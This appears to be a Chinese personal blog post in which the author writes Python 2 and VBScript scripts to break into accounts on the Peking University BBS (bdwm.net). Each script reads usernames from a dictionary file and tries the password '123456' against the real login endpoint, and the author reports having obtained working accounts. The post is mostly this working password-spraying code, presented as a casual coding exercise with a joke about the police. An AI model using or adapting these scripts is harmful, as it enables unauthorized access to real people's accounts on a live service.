Python牛刀小试

今天有个朋友问我有没有北大BBS的账号。真奇怪，我又不是北大的，怎么会有北大BBS的账号？我让她问她北大的朋友要，她说她没有北大的朋友。

难道真的要我破解一个么？算了，正好试试我的Python水平。

#coding: gbk
import httplib, urllib

def Check(username, password):
    params = urllib.urlencode(
        {'userid': username, 'passwd': password})
    headers = {"Content-type":
        "application/x-www-form-urlencoded"}
    conn = httplib.HTTPSConnection("www.bdwm.net")
    conn.request("POST",
        "/bbs/bbslog2.php", params, headers)
    res = conn.getresponse().read()
    conn.close()
    if res.find("密码不正确") != -1:
        return False
    elif res.find("不存在这个用户") != -1:
        return False
    else:
        return True

for i in open("English.Dic"):
    if Check(i.rstrip(),"123456"):
        print i

顺便也写了个VBS版的，感觉貌似VBS比较快，感觉出问题了？

Dim fso
Set fso = CreateObject("scripting.filesystemobject")
With fso.OpenTextFile("English.Dic",1)
    Do Until .AtEndOfStream
        id = .ReadLine
        If Check(id,"123456") Then 
            WScript.Echo id & vbTab &"OK"
        End If
    Loop
End With

Function Check(username,password)
    Dim http
    Set http = CreateObject("Msxml2.XMLHTTP")
    http.open _
    "POST","https://www.bdwm.net/bbs/bbslog2.php",False
    http.setRequestHeader _
    "Content-Type","application/x-www-form-urlencoded"
    http.send "userid=" & username & "&passwd=" & password
    response =  AnsiToUnicode(http.responseBody)
    If InStr(response,"密码不正确") Then
        Check = False
    ElseIf InStr(response,"不存在这个用户") Then
        Check = False
    Else
        Check = True
    End If
End Function

Function AnsiToUnicode(str)
    Dim ado
    Set ado = CreateObject("adodb.stream")
    ado.Type = 1
    ado.Open
    ado.Write str
    ado.Position = 0
    ado.Type = 2
    ado.Charset = "gb2312"
    AnsiToUnicode = ado.ReadText
End Function

事实证明，123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。